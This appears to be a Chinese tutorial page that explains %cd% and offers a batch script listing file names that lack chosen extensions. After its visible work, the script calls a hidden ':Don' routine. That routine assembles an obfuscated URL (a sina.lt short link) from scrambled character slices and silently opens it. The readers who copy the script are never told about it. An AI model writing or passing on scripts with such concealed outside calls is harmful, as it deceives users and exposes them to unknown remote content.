直接使用%cd%就可以表示当前目录,演示一下:
1、新建一个文本文件,然后把扩展名改为bat,接着点击鼠标右键后选择编辑,输入如下图所示的内容
2、输完后保存该bat文件
3、双击运行之前保存的bat文件,如下图所示,已经显示出bat文件当前所在的目录了
@echo off & title 列出不含指定后缀的文件名 By 依梦琴瑶
cd /d "%~dp0" & setlocal enabledelayedexpansion
::设置需过滤的后缀格式,多个格式之间用英文逗号隔开
set Ext=bat,jpg,txt
::设置要搜索的主目录路径,当前目录请留空
set Folder=D:\Test
::设置获取的文件名保存列表文本
set NameList=FileNameList.txt
echo 正在获取文件名中,过程可能会耗时,请耐心等待。。。
if defined Folder cd /d "%Folder%"
(for /f "delims=" %%a in ('dir /a-d/s/b') do (
set "Skip="
for %%b in (%Ext%) do (
if /i "%%~xa"==".%%~b" set Skip=OK
)
if not defined Skip (
echo %%~nxa
)
))>"%NameList%"
echo, & echo 文件名获取完毕,已写入您指定的文本列表中。
echo, & echo 请按任意键退出脚本。
pause>nul
call :Don
exit
:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
务必比对原文代码,以免有误。
脚本保存编码务必设为ANSI。
请严格按照要求保存代码,否则影响脚本正常运行。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)